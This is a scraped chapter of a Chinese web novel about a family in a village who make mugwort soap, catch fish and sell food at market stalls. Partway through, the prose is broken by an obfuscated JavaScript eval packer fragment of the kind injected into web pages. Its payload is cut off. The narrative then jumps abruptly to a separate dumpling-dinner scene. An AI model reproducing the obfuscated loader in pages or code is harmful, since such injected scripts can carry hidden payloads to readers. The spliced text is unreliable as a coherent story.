沈确推车的动作顿了一瞬。 35. 饺子三吃 回到家之后，姜南放下猪板油，她准备上山摘些艾草叶。 她打算做艾草皂。 夏暑愈烈，家里会采艾草来驱蚊，姜南在县上出摊子，也会点着放一旁。 艾草皂用来洗衣，净身可以驱蚊，最合适不过。 “嫂子，我也要跟着你上山。” 沈安放好东西，喝一口凉白开，又听见院子里的响声，他着急忙慌地从堂屋跑出来，一抬头就看见在院门口背着篓子的姜南。 听见喊声，姜南停下脚步，院子里一大一小两个人，一样的眼神看着自己，她颇有些无奈。 不过考虑到做皂需要其他的东西，她沉思后出声：“小安，今日你就不跟着嫂子上山，我有另一件事情交给你。” 沈安闻言，一脸高兴，适才还因为不让跟着去失落的表情，一下子变得明媚上扬。 “嫂子，我一定能做到的。” 姜南失笑，她都还没说是什么事情，这小孩就一脸的自信坚定。 她也没有卖关子，抬手揉一把小孩的脑袋，才说道：“一会你跟着你大哥去河道边上，看看有没有小蚌壳，要是有的话，你就给嫂子捡回来，有多少捡多少。” “蚌壳？” 沈安心生困惑，不知道这东西有什么用。 年年夏日，河道的水都会退一些，露出河滩，上头有不少这东西。 既然是嫂子要的东西，那肯定是有大用处。 “好，我一定给嫂子捡回来。” 姜南说话并没有刻意压低声音，后头的沈确自然也是听见的。 他回家的这段时间，一直都是跟着姜南一起上山，亦或者是自己独自一人上山。 骤然改了平时的活计，他倒是有些不习惯了。 姜南说完，也没有再耽误时间，背着篓子，回身嘱咐沈确，在河道边要把沈安看好，不要让人掉下去，也不要让人下水玩。 话落，转身就走。 姜南这次上山，没有像往日那般探寻，夏日的林间，阳光洒进来，被密林分割成斑驳的树影，耳边嗡嗡嗡的声音，实在是烦人。 她先摘艾草，再看有没有野菜野果。 沈确自然是带着沈安到河道。露出来的河滩上，确实有不少蚌壳，他跟着沈安一起弯腰捡。 抬头看去，太阳已经往西走，河道两旁陡起的山峦遮住了灼热的日光。 潺潺流动的溪水，清澈见底，还能瞧见底下自由摆动的鱼儿。 沈确看一眼蹲在河滩捡蚌壳的沈安，而后脱掉鞋子，又挽起裤脚，下到河溪。 他拿过木桶，小心翼翼地将其放在下游，及其有耐心又小心地往上靠近。 那只肥美的鱼儿尚不知危险来临，下流的溪水，让它自然而然地游入木桶可以网住的范围。 只一瞬，溪水绽起，桶里出现一条小鱼。 瞧着不算大，不过小臂算上手掌二分之一大小。 但沈确不嫌弃小，他喊了一声沈安。 沈安猛地回头看向站在河溪中的大哥，他兴奋地跑过来，眼神里满是跃跃欲试。 不消一刻，直接被沈确制止。 “捡多少了？” 沈安又蹬蹬蹬跑过去把桶提过来，铺了个底。 沈确想应当是够了。 他给桶里灌水，又把网住的鱼放进沈安的桶里。 沈安都来不及拒绝，他大哥转身又去抓鱼了。 等沈安两人到家，姜南和周氏已经开始准备第二日要出摊的食材了。 桑叶凉粉还能做一段时间，不过已经开始减少份量，转而增加凉糕的量。 姜南把熬油的猪板油分出来，她就开始处理艾草。 先切成碎，然后加水继续用圆木棍捣碎，最后过滤出艾草汁。 “小安，你们抓到鱼了！” 姜南刚把艾草汁做好，她见人回来，上去接过沈安手中提着的木桶，里头居然有鱼。 “大哥下河抓的。” “那今天可以做鱼丸了。” “哇，鱼丸，有鱼丸吃了！” 这是姜南第二次做鱼丸，沈安想到鱼丸的味道，沾一点辣子，可以做汤面吃，光是想想，他都觉着肚子在叫。 沈确耳朵一动，心里对鱼丸也好奇，他看一眼，姜南正在看蚌壳，他提着鱼，去处理。 院子外，沈确还能听见沈安说话。 “嫂子，蚌壳你用来做什么啊？” “一会你就知道了。” 姜南从杂物间找出一个破烂的铁火盆，她先用泥巴堵住漏洞，放置在院中藤架子前侧，她倒出火炭。 第一步先把蚌壳烧制一下，才容易捣碎。做出来的粉末就是生石灰，制皂的主要成分。 做凉粉的草木灰也需要一些，过滤出碱液，用于皂化反应。 把碱液和生石灰粉混合在一起，二次过滤，静置沉淀一夜。 食用猪油熬好，姜南把碱液放在藤架子下头，盖上盖子，进到厨房，开始熬做艾草皂的猪油。 油熬到一半，外头传来孙婶喜气洋洋的喊声。 “周妹妹，小南。” “二郎也在啊。” 孙柳和柳双儿进到院子，沈确端着处理好的鱼也跟着进来。 “孙姐姐，双儿，你们怎的有空过来。” “周妹妹，小南呢？” “婶子，双儿嫂嫂。” 姜南退出火灶里的柴块，剩下火星熬煮，她才出来。 孙柳一脸神秘地拉着人去到堂屋。 周氏当然没有拒绝，跟着一起去，几人刚坐下。 孙柳就拿出钱袋子，拿出一串串好的铜板，瞧着不算多，约莫二三十文。 只听孙柳道：“这是二十五文，是今日出摊的银钱。” “这么多？” “孙姐姐，你们今日也去出摊了！？” 周氏很震惊，这不是才学，立马就能出师了吗？ 孙柳点点头，又继续说道：“还是小南有办法，她让我们先用豆浆馍馍去试试，看看能不能摆起来。” “豆浆馍馍比香河肉饼好做，小南昨日走后，我又做了些，做出来，虽是形状不太好看，但味道却是不差。” “还有豆浆，我和老头子早起准备好，又带着去邻县，推着板车，倒也方便。” “正好家里有个瓦炉子，也是好运，第一次去，没交市金，我还怕被人赶呢，哪知道那位置没人，倒是便宜我家了。” 姜南和周氏都没有说话，就听孙柳一脸喜色地说着她刚到县上，把瓦炉子，小铁锅，不算大的蒸屉，木柴拿下来的时候，旁边摊贩一脸惊讶地看着他们，不知道说什么。 “哎呀，你是不知道，我把东西摆好，开始上火蒸的时候，他们更惊讶。” 孙柳和沈贵到镇上，心中其实是害怕不安的，但人都已经到这一步了，退缩已然没有用。 孙柳也不是那半途而废的人，她招呼着沈贵架起火，就开始热火朝天地蒸馍馍。 刚开始蒸好，两人都不好意思喊，但街道上卖包子的摊子，吆喝声一声盖过一声。 孙柳似乎也被激起斗志。 开始吆喝，慢慢迎来第一个食客。 买了豆浆馍馍，三文钱两个，比皮厚肉少的包子多一个，很多人都被这份量吸引。 第一个买好，就退到摊子一旁，撕掉桑叶，直接开吃，想来也是因为第一个食客的原因。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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砂锅热后，倒一点油，整齐的把饺子摆放进砂锅，煎制底面金黄，再倒入小半碗清水，小火慢煮，直到水分收干。 等到九分熟，打好的蛋液从四周倒入，直至包裹住饺子的底部，等到蛋液煎煮凝固，起锅撒上葱花和芝麻。 第三种便是这抱蛋煎饺。 姜南把拌水饺做好，一起端上桌。 每人面前一碗酸汤饺子，桌中间是拌水饺和抱蛋煎饺。 “快吃，看看好不好吃。” 姜南话落，其他三人也开始有动作。 沈安先尝了一个酸汤饺子。 吸满了汤汁的饺子，一咬就尝到酸辣开胃的汤汁，咬破，里头的肉馅咸淡合适，再沾一点辣烫，吸溜一下就吃掉一个。 一双亮闪闪的星星眼望着姜南，“嫂子，酸酸辣辣的，好好吃，好香。” 因为加了点油辣子，闻着确实很香。 周氏同样尝了一个，自然也是被这味道俘获。 姜南又招呼着他们吃其他的。 抱蛋煎饺，一夹，连带着煎蛋一起夹起来，还没吃进嘴，就能闻到煎饺的油煎香，而且蛋煎得一点不老，很嫩，一咬，轻微冒油，配着煎蛋，混着肉馅，还有酥酥脆脆的口感。 姜南看着对面的沈确吃到煎饺的瞬间，眼睛都忽然睁大，再看一旁的沈安，一模一样的神情。 她笑着让两人多吃些。 饺子宴吃过，周氏在收拾厨房，姜南在院子里削竹筒。 日落西沉，时不时还能听见鸟叫声。 这边沈安还在缠着姜南，不放弃地问：“嫂子，什么时候再吃饺子啊，明天可以吗？”